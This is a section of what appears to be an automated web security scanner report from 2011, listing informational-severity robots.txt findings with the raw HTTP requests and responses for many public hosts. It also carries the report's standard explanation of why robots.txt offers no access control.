http://www.dzone.com/
http://www.fark.com/
http://www.folkd.com/
http://www.gabbr.com/
http://www.giveawayoftheday.com/
http://www.gnu.org/licenses/gpl-3.0.txt
http://www.google-analytics.com/__utm.gif
http://www.google.de/coop/cse/brand
http://www.googleadservices.com/pagead/aclk
http://www.hemidemi.com/
http://www.hyves.nl/
https://www.infosecisland.com/blogview/5213-Splunk-4-Users-Review.html
http://www.instapaper.com/
http://www.jumptags.com/
http://www.kledy.de/
http://www.linkagogo.com/
http://www.live.com/
http://www.livejournal.com/
http://www.manualsonline.com/privacy.html
http://www.microsoft.com/windows/internet-explorer/default.aspx
http://www.mindbodygreen.com/
http://www.mister-wong.com/
http://www.modalpopups.com/
http://www.mylinkvault.com/
http://www.myspace.com/
http://www.netlog.com/
http://www.netvibes.com/
http://www.newsvine.com/
http://www.nmworkwear.de/index.php
http://www.nowpublic.com/
http://www.officedepot.com/
http://www.oneview.de/
http://www.orkut.com/
http://www.orthougm.com/nslookup.html
http://www.splunk.com/themes/splunk_com/css/v5.php
http://www.vodafone.de/cookie-setting-page.html
http://www.zanox-affiliate.de/tpv/
http://www91.intel.com/b/ss/intelcorp,intelappdeveloper,intelcorpsw/1/H.20.3/s73248818481806
http://ziffdavisbaseline.112.2o7.net/b/ss/ziffdavisbaseline,ziffdavisenterpriseglobal/1/H.17/s21695681395940

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

28.1. http://ad-emea.doubleclick.net/adj/N1120.Mittelstandswiki/B5089496 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad-emea.doubleclick.net
Path:	/adj/N1120.Mittelstandswiki/B5089496

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ad-emea.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/plain
Content-Length: 101
Last-Modified: Thu, 18 Mar 2010 15:31:04 GMT
Date: Sun, 06 Feb 2011 17:43:34 GMT

User-Agent: AdsBot-Google
Disallow:

User-Agent: MSNPTC
Disallow:

User-agent: *
Disallow: /

28.2. http://ad.de.doubleclick.net/N6514/adj/miwi/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.de.doubleclick.net
Path:	/N6514/adj/miwi/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ad.de.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/plain
Content-Length: 101
Last-Modified: Thu, 18 Mar 2010 15:31:04 GMT
Date: Sun, 06 Feb 2011 17:43:28 GMT

User-Agent: AdsBot-Google
Disallow:

User-Agent: MSNPTC
Disallow:

User-agent: *
Disallow: /

28.3. http://ad.doubleclick.net/adi/N553.158901.DATAXU/B4970757.11 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N553.158901.DATAXU/B4970757.11

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ad.doubleclick.net

Response

HTTP/1.0 200 OK
Server: DCLK-HttpSvr
Content-Type: text/plain
Content-Length: 101
Last-Modified: Thu, 18 Mar 2010 14:31:04 GMT
Date: Sat, 05 Feb 2011 21:49:03 GMT

User-Agent: AdsBot-Google
Disallow:

User-Agent: MSNPTC
Disallow:

User-agent: *
Disallow: /

28.4. http://ad.zanox.com/ppv/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.zanox.com
Path:	/ppv/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ad.zanox.com

Response

HTTP/1.1 200 OK
Content-Length: 69
Content-Type: text/plain
Last-Modified: Mon, 18 Feb 2008 08:43:06 GMT
Accept-Ranges: bytes
ETag: "52c3ea47a72c81:4a9"
Server: Microsoft-IIS/6.0
P3P: policyref="http://ad.zanox.com/w3c/p3p.xml", CP="NOI CUR OUR STP"
X-Powered-By: ASP.NET
Date: Sun, 06 Feb 2011 17:37:37 GMT
Connection: close

User-agent: stress-agent
Disallow: /

User-agent: *
Disallow: /

28.5. http://b.static.ak.fbcdn.net/rsrc.php/yV/r/48SBskNJuXC.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.static.ak.fbcdn.net
Path:	/rsrc.php/yV/r/48SBskNJuXC.css

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: b.static.ak.fbcdn.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain;charset=utf-8
Date: Sat, 05 Feb 2011 22:44:06 GMT
Content-Length: 2553
Connection: close

# Notice: if you would like to crawl Facebook you can
# contact us here: http://www.facebook.com/apps/site_scraping_tos.php
# to apply for white listing. Our general terms are available
# at http://ww
...[SNIP]...

28.6. http://b.voicefive.com/b previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://b.voicefive.com
Path:	/b

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: b.voicefive.com

Response

HTTP/1.0 200 OK
Last-Modified: Wed, 06 Jan 2010 17:35:59 GMT
Content-Length: 28
Content-Type: text/plain
Expires: Mon, 07 Feb 2011 13:40:00 GMT
Date: Sun, 06 Feb 2011 13:40:00 GMT
Connection: close
Cache-Control: private, no-transform, max-age=86400
Server: CS

User-agent: *
Disallow: /

28.7. http://bassistance.de/jquery-plugins/jquery-plugin-validation/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bassistance.de
Path:	/jquery-plugins/jquery-plugin-validation/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: bassistance.de

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:44:41 GMT
Server: Apache/2.2.9 (Debian) mod_ssl/2.2.9 OpenSSL/0.9.8g
Vary: Cookie,Accept-Encoding
X-Pingback: http://bassistance.de/xmlrpc.php
Connection: close
Content-Type: text/plain; charset=utf-8

User-agent: *
Disallow:

28.8. http://blog.freedownloadscenter.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.freedownloadscenter.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: blog.freedownloadscenter.com

Response

HTTP/1.1 200 OK
Server: nginx/0.8.54
Date: Sat, 05 Feb 2011 22:44:39 GMT
Content-Type: text/plain; charset=utf-8
Connection: close
X-Pingback: http://blog.freedownloadscenter.com/xmlrpc.php

User-agent: *
Disallow:

28.9. http://blog.owneriq.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blog.owneriq.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: blog.owneriq.com

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:45:45 GMT
Server: Apache/2.2.14 (Fedora)
X-Powered-By: PHP/5.2.9
X-Pingback: http://blog.owneriq.com/xmlrpc.php
Vary: Accept-Encoding
Content-Length: 24
Connection: close
Content-Type: text/plain; charset=utf-8

User-agent: *
Disallow:

28.10. http://blogmarks.net/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://blogmarks.net
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: blogmarks.net

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:08 GMT
Server: Apache
Last-Modified: Mon, 09 Aug 2010 16:11:10 GMT
ETag: "ea-48d6643c5cbe3"
Accept-Ranges: bytes
Content-Length: 234
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /search/

User-agent: *
Disallow: /marks/search/

User-agent: *
Disallow: /my/

User-agent: *
Disallow: /services/

User-agent: *
Disallow: /api/

User-agent: *
Crawl-delay: 5

...[SNIP]...

28.11. http://bookmarks.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bookmarks.yahoo.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: bookmarks.yahoo.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:09 GMT
P3P: policyref="http://p3p.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE GOV"
Last-Modified: Tue, 24 Apr 2007 10:06:12 GMT
Accept-Ranges: bytes
Content-Length: 24
Cache-Control: private
Connection: close
Content-Type: text/plain; charset=utf-8

User-agent: *
Disallow:

28.12. http://bs.serving-sys.com/BurstingPipe/adServer.bs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://bs.serving-sys.com
Path:	/BurstingPipe/adServer.bs

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: bs.serving-sys.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Mon, 16 Jan 2006 20:19:44 GMT
Accept-Ranges: bytes
ETag: "0b02b30da1ac61:0"
P3P: CP="NOI DEVa OUR BUS UNI"
Date: Sun, 06 Feb 2011 13:21:31 GMT
Connection: close
Content-Length: 28

User-agent: *
Disallow: /

28.13. http://buzz.yahoo.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://buzz.yahoo.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: buzz.yahoo.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:46:14 GMT
P3P: policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"
Last-Modified: Wed, 01 Dec 2010 20:02:35 GMT
Accept-Ranges: bytes
Content-Length: 331
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain; charset=utf-8

# Yahoo! Buzz robots.txt (http://buzz.yahoo.com)
User-agent: *
Disallow: /build/
Disallow: /controllers/
Disallow: /css/
Disallow: /img/
Disallow: /inc/
Disallow: /js/
Disallow: /languages/
Disallow:
...[SNIP]...

28.14. http://cdn.manualsonline.com/javascript/libs-2.8.3.4.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.manualsonline.com
Path:	/javascript/libs-2.8.3.4.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: cdn.manualsonline.com

Response

HTTP/1.0 200 OK
Server: Apache/2.2.14 (Fedora)
Last-Modified: Wed, 26 Jan 2011 14:52:42 GMT
ETag: "914064-5c-49ac0fc2c4280"
Accept-Ranges: bytes
Content-Length: 92
Content-Type: text/plain; charset=UTF-8
Date: Sat, 05 Feb 2011 22:46:28 GMT
Connection: close

User-agent: *

Disallow: /images/

Sitemap: http://www.manualsonline.com/sitemap_index.xml

28.15. http://cdn.royale.spongecell.com/api/widgets/263365.js/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://cdn.royale.spongecell.com
Path:	/api/widgets/263365.js/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: cdn.royale.spongecell.com

Response

HTTP/1.0 200 OK
Server: nginx/0.6.35
Content-Type: text/plain
Content-Length: 42
Vary: Accept-Encoding
Accept-Ranges: bytes
Age: 583
Date: Sat, 05 Feb 2011 22:46:29 GMT
Last-Modified: Fri, 06 Aug 2010 01:11:11 GMT
Connection: close

User-agent: *
Disallow: /event/event_new/

28.16. http://chitika.com/publishers.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://chitika.com
Path:	/publishers.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: chitika.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:00 GMT
Server: Apache/2.2.8 (Unix) mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 PHP/5.2.10
Last-Modified: Wed, 19 Nov 2008 20:38:58 GMT
Accept-Ranges: bytes
Content-Length: 148
Vary: Accept-Encoding
Connection: close
Content-Type: text/plain

User-Agent: *
Disallow: /admin/
Disallow: /cgi-bin/
Disallow: /blog/wp-admin/
Disallow: /whitespacead-preview/
Disallow: /affiliate/linx/preview/

28.17. http://clk.redcated/229/go/253329229/direct previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://clk.redcated
Path:	/229/go/253329229/direct

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: clk.redcated

Response

HTTP/1.1 200 OK
Cache-Control: no-cache
Content-Length: 101
Content-Type: text/plain
Last-Modified: Mon, 19 Oct 2009 19:29:35 GMT
Accept-Ranges: bytes
ETag: "4c95727df250ca1:8b3"
Connection: close
Date: Sat, 05 Feb 2011 22:47:12 GMT
Connection: close

User-agent: *
Disallow: /

User-Agent: AdsBot-Google
Disallow:

User-Agent: MSNPTC
Disallow:

28.18. http://current.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://current.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: current.com

Response

HTTP/1.0 200 OK
Last-Modified: Tue, 15 Dec 2009 17:14:33 GMT
Accept-Ranges: bytes
Content-Length: 401
Content-Type: text/plain; charset=UTF-8
Date: Sat, 05 Feb 2011 22:47:25 GMT
Server: Apache
Vary: Accept-Encoding
X-Cache: HIT from current.com
X-Cache-Lookup: HIT from current.com:3128
Via: 1.0 current.com:3128 (squid)
Connection: close
Keep-Alive: timeout=30, max=100

# http://current.com/robots.txt

User-agent: *

# Look at this first
Allow: /sitemap.xml

# Requires login
Disallow: /clipper.htm
Disallow: /login.htm
Disallow: /logout.htm
Disallow: /messa
...[SNIP]...

28.19. http://dailyme.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dailyme.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: dailyme.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:47:29 GMT
Server: Apache/2.2.3 (CentOS)
Last-Modified: Wed, 24 Nov 2010 15:58:56 GMT
ETag: "4320ad5-ef-495ce910a1000"
Accept-Ranges: bytes
Content-Length: 239
Connection: close
Content-Type: text/plain; charset=UTF-8

Sitemap: http://dailyme.com/sitemap/sitemap.xml

User-agent: *
Disallow: /demo
Disallow: /accounts
Disallow: /search
Disallow: /mynews
Disallow: /delivery
Disallow: /myprofiles
Disallow: /myn
...[SNIP]...

28.20. http://demos.us.intellitxt.com/demos/lab/windows_live/flash_concepts/assets/instantAnswer/preloader.swf previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://demos.us.intellitxt.com
Path:	/demos/lab/windows_live/flash_concepts/assets/instantAnswer/preloader.swf

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: demos.us.intellitxt.com

Response

HTTP/1.1 200 OK
Content-Type: text/plain
Last-Modified: Mon, 17 Jan 2011 16:21:30 GMT
Accept-Ranges: bytes
ETag: "13218a9962b6cb1:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Sat, 05 Feb 2011 22:47:44 GMT
Connection: close
Content-Length: 26

User-agent: *
Disallow: /

28.21. http://developers.facebook.com/plugins/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://developers.facebook.com
Path:	/plugins/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: developers.facebook.com

Response

HTTP/1.0 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=2592000
Content-Type: text/plain; charset=utf-8
Expires: Mon, 07 Mar 2011 23:32:45 GMT
Connection: close
Content-Length: 32

User-agent: *
Disallow: /search

28.22. http://digg.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://digg.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: digg.com

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:48:02 GMT
Server: Apache
Last-Modified: Thu, 03 Feb 2011 00:30:12 GMT
Accept-Ranges: bytes
Content-Length: 509
Vary: Accept-Encoding
X-Digg-Time: D=318 (null)
Cache-Control: no-cache,no-store,must-revalidate
Pragma: no-cache
Keep-Alive: timeout=5, max=9994
Connection: Keep-Alive
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /ad/*
Disallow: /ajax/*
Disallow: /error/*
Disallow: /onboard/*
Disallow: /saved
Disallow: /settings
Disallow: /settings/*
Disallow: /news/*/v/*
Disallow: /verification/*

User
...[SNIP]...

28.23. http://ds.serving-sys.com/BurstingRes/CustomScripts/PL_ManuallyExpandPanelAfterScroll_728x90.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ds.serving-sys.com
Path:	/BurstingRes/CustomScripts/PL_ManuallyExpandPanelAfterScroll_728x90.js

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: ds.serving-sys.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Mon, 16 Jan 2006 13:19:41 GMT
Server: Microsoft-IIS/6.0
Date: Sun, 06 Feb 2011 13:21:32 GMT
Content-Length: 28
Connection: close
Accept-Ranges: bytes

User-agent: *
Disallow: /

28.24. http://dslshop.vodafone.de/eshop/pv/97444194 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dslshop.vodafone.de
Path:	/eshop/pv/97444194

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: dslshop.vodafone.de

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 18:40:57 GMT
Server: Apache
Last-Modified: Tue, 01 Feb 2011 06:10:00 GMT
ETag: "8a1-49b3261e65e00"
Accept-Ranges: bytes
Content-Length: 2209
Content-Type: text/plain
Content-Language: de
Age: 705
X-Cache: HIT from sunwebeshop07-2
Via: 1.0 sunwebeshop07-2:81 (squid)
Connection: close

# robots.txt for business.arcor.net
# See http://www.robotstxt.org/

# Google: http://www.google.com/support/webmasters/bin/answer.py?answer=40364
# Slurp: http://help.yahoo.com/l/de/yahoo/search/craw
...[SNIP]...

28.25. http://e.ligatus.com/LigatusFallback.gif previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://e.ligatus.com
Path:	/LigatusFallback.gif

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: e.ligatus.com

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 18:27:45 GMT
Server: Apache
Last-Modified: Thu, 27 Jan 2011 15:15:52 GMT
ETag: "e4806c-17a-49ad56cdd5a00"
Accept-Ranges: bytes
Content-Length: 378
Content-Type: text/plain
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: close

# robots.txt

User-agent: *
Disallow: /CVS/
Disallow: /html/
Disallow: /tmpl/
Disallow: /src/
Disallow: /global_html/
Disallow: /global_src/
Disallow: /global_tmpl/
Disallow: /master_template/
Disall
...[SNIP]...

28.26. http://eisenstein.dk/loader/qt.php previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://eisenstein.dk
Path:	/loader/qt.php

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: eisenstein.dk

Response

HTTP/1.1 200 OK
Set-Cookie: ARPT=NQJKKYS192.168.100.209CKOWJ; path=/
Date: Sun, 06 Feb 2011 17:52:47 GMT
Server: Apache
Last-Modified: Mon, 24 Aug 2009 15:49:47 GMT
ETag: "c780a6-53-471e52ad69cc0"
Accept-Ranges: bytes
Content-Length: 83
Connection: close
Content-Type: text/plain; charset=UTF-8

User-agent: *
Disallow: /admin
Disallow: /loader
Disallow: /bridge
Disallow: /poll

28.27. http://en.wikipedia.org/wiki/MIT_License previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://en.wikipedia.org
Path:	/wiki/MIT_License

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: en.wikipedia.org

Response

HTTP/1.0 200 OK
Date: Sat, 05 Feb 2011 22:45:02 GMT
Server: Apache
Cache-Control: s-maxage=3600, must-revalidate, max-age=0
X-Article-ID: 19292575
X-Language: en
X-Site: wikipedia
Last-Modified: Tue, 14 Dec 2010 01:07:32 GMT
Vary: Accept-Encoding
Content-Length: 26814
Content-Type: text/plain; charset=utf-8
Age: 231
X-Cache: HIT from sq66.wikimedia.org
X-Cache-Lookup: HIT from sq66.wikimedia.org:3128
X-Cache: MISS from sq75.wikimedia.org
X-Cache-Lookup: MISS from sq75.wikimedia.org:80
Connection: close

#
# robots.txt for http://www.wikipedia.org/ and friends
#
# Please note: There are a lot of pages on this site, and there are
# some misbehaved spiders out there that go _way_ too fast. If you're
# i
...[SNIP]...

28.28. http://enterprisemediagroup.112.2o7.net/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://enterprisemediagroup.112.2o7.net
Path:	/b/ss/emgrelatedcontent/1/H.19.4/s23179186573252

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: enterprisemediagroup.112.2o7.net

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 13:21:54 GMT
Server: Omniture DC/2.0.0
Last-Modified: Tue, 28 Sep 2010 18:58:27 GMT
ETag: "27d159-18-6e161ac0"
Accept-Ranges: bytes
Content-Length: 24
xserver: www32
Keep-Alive: timeout=15
Connection: close
Content-Type: text/plain

User-agent: *
Disallow:

28.29. http://faves.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://faves.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: faves.com

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: public
Content-Type: text/plain
Date: Sat, 05 Feb 2011 22:49:11 GMT
ETag: "1CBC311DC6A3780"
Expires: Sun, 06 Feb 2011 22:26:31 GMT
Last-Modified: Wed, 02 Feb 2011 19:46:19 GMT
Server: Microsoft-IIS/6.0
Vary: Accept-Encoding
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Content-Length: 239
Connection: Close

# restrict web spider access on certain pages
User-agent: *
Disallow: /nfr/
Disallow: /Out.ashx
Disallow: /Authoring.aspx
Disallow: /users/*/tag/*/*
Disallow: /search
Disallow: /signIn
Disallo
...[SNIP]...

28.30. http://feedburner.google.com/fb/a/mailverify previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://feedburner.google.com
Path:	/fb/a/mailverify

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: feedburner.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Sat, 05 Feb 2011 23:32:44 GMT
Expires: Sat, 05 Feb 2011 23:32:44 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Disallow: /

28.31. http://feeds.feedburner.com/~fc/tipd previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://feeds.feedburner.com
Path:	/~fc/tipd

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: feeds.feedburner.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Sun, 06 Feb 2011 13:39:13 GMT
Expires: Sun, 06 Feb 2011 13:39:13 GMT
Cache-Control: private, max-age=0
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Server: GSE

User-agent: *
Disallow: /~a/

28.32. http://friendfeed.com/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://friendfeed.com
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: friendfeed.com

Response

HTTP/1.1 200 OK
Server: nginx/0.6.31
Date: Sat, 05 Feb 2011 22:49:13 GMT
Content-Type: text/plain
Content-Length: 91
Last-Modified: Tue, 10 Nov 2009 01:28:23 GMT
Connection: close
Accept-Ranges: bytes

User-agent: *
Disallow: /account/
Disallow: /iphone/
Disallow: /connect
Disallow: /search?

28.33. http://googleads.g.doubleclick.net/pagead/ads previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://googleads.g.doubleclick.net
Path:	/pagead/ads

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: googleads.g.doubleclick.net

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Date: Sat, 05 Feb 2011 21:48:43 GMT
Server: cafe
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block

User-Agent: *
Disallow: /
Noindex: /

28.34. http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://groups.google.com
Path:	/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: groups.google.com

Response

HTTP/1.0 200 OK
Content-Type: text/plain
Last-Modified: Tue, 01 Feb 2011 22:56:20 GMT
Date: Sat, 05 Feb 2011 22:49:22 GMT
Expires: Sat, 05 Feb 2011 22:49:22 GMT
Cache-Control: private, max-age=0
Vary: Accept-Encoding
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 1; mode=block

User-agent: *
Disallow: /search
Disallow: /groups
Disallow: /images
Disallow: /catalogs
Disallow: /catalogues
Disallow: /news
Allow: /news/directory
Disallow: /nwshp
Disallow: /setnewsprefs?
Disallow:
...[SNIP]...

28.35. http://hhonors1.hilton.com/en_US/hh/home_index.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://hhonors1.hilton.com
Path:	/en_US/hh/home_index.do

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: hhonors1.hilton.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 10 Dec 2010 20:33:41 GMT
ETag: "3848e-120-45153340"
Content-Type: text/plain; charset=UTF-8
Cache-Control: private
Date: Sat, 05 Feb 2011 22:49:25 GMT
Content-Length: 288
Connection: close
Set-Cookie: NSC_qse-qgt=44153d5f3660;expires=Sat, 05-Feb-11 23:00:25 GMT;path=/

User-agent: Googlebot
Disallow:/en_US/hs/

User-agent: Yahoo! Slurp
Disallow:/en_US/hs/

User-agent: MSNbot
Disallow:/en_US/hs/

User-agent: Scooter
Disallow:/en_US/hs/

User-agent: Ask.com/Teoma
Disa
...[SNIP]...

28.36. http://hiltonworldwide1.hilton.com/en_US/ww/customersupport/privacy-policy.do previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://hiltonworldwide1.hilton.com
Path:	/en_US/ww/customersupport/privacy-policy.do

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: hiltonworldwide1.hilton.com

Response

HTTP/1.0 200 OK
Server: Apache
Last-Modified: Fri, 10 Dec 2010 20:33:41 GMT
ETag: "3848e-120-45153340"
Content-Type: text/plain; charset=UTF-8
Cache-Control: private
Date: Sat, 05 Feb 2011 22:49:24 GMT
Content-Length: 288
Connection: close
Set-Cookie: NSC_qse-qgt=44153db63660;expires=Sat, 05-Feb-11 23:00:24 GMT;path=/

User-agent: Googlebot
Disallow:/en_US/hs/

User-agent: Yahoo! Slurp
Disallow:/en_US/hs/

User-agent: MSNbot
Disallow:/en_US/hs/

User-agent: Scooter
Disallow:/en_US/hs/

User-agent: Ask.com/Teoma
Disa
...[SNIP]...

28.37. http://identi.ca/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://identi.ca
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: identi.ca

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:50:19 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.6 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g
X-Powered-By: PHP/5.2.6-3ubuntu4.6
Connection: close
Content-Type: text/plain;charset=UTF-8

User-Agent: *
Disallow: /main/
Disallow: /settings/
Disallow: /admin/
Disallow: /search/
Disallow: /message/

Sitemap: http://identi.ca/sitemapindex.xml

28.38. http://imera.com.br/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://imera.com.br
Path:	/

Issue detail

The web server contains a robots.txt file.

Request

GET /robots.txt HTTP/1.0
Host: imera.com.br

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:54:49 GMT
Server: Apache/2.2.6 (Fedora)
ETag: W/"39-1257893258000"
Last-Modified: Tue, 10 Nov 2009 22:47:38 GMT
Content-Length: 39
Connection: close
Content-Type: text/plain

User-agent: *
Disallow: /bookmarks/*

28.39. http://img.constantcontact.com/lp/images/standard/spacer.gif/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://img.constantcontact.com
Path:	/lp/images/standard/spacer.gif/

